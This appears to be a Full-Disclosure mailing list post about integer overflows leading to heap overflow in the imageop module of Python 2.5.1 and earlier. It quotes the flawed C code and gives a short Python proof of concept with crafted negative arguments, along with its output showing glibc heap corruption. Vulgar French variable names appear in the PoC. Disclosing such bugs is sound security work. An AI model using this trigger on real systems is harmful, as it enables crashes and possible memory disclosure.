[Full-disclosure] python <= 2.5.1 standart librairy multiples int overflow, heap overflow in imageop module

The module imageop contains a lots of int overflow, which result in heap
overflow, and maybe memory dump.
The files imageop.c and rbgimgmodule.c are examples.

static PyObject *
imageop_tovideo(PyObject *self, PyObject *args)
{
int maxx, maxy, x, y, len;

…

/* *************** int overflow here permit to bypass len check

******************* */

if ( maxxmaxywidth != len ) {
PyErr_SetString(ImageopError, "String has incorrect length");
return 0;
}

rv = PyString_FromStringAndSize(NULL, len);
if ( rv == 0 )
    return 0;
ncp = (unsigned char *)PyString_AsString(rv);

if ( width == 1 ) {
    memcpy(ncp, cp, maxx);        /* Copy first line */
    ncp += maxx;

/* ********** with a negativ value it's possible to bypass the code
********** */

    for (y=1; y<maxy; y++) {    /* Interpolate other lines */

an IA 32 bits Proof of Concept:

import imageop

sexshit = "a"*1603
evil = "p"*5241
connard = "s"*2000
supaire= "45"*65
print supaire
connard = "cool"
salope = "suceuse"
dtc = imageop.tovideo(sexshit,1,4461,-2147002257)
sexshit = "dtc"*52
print connard,supaire," fin de dump"

www@AtlanticDrive:~$ python sux.py
4545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545
cool
4545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545
fin de dump
*** glibc detected*** corrupted double-linked list: 0x0817d3f0 ***
Abandon
www@AtlanticDrive:~$

ok, i hate the python's syntax, that's too old school !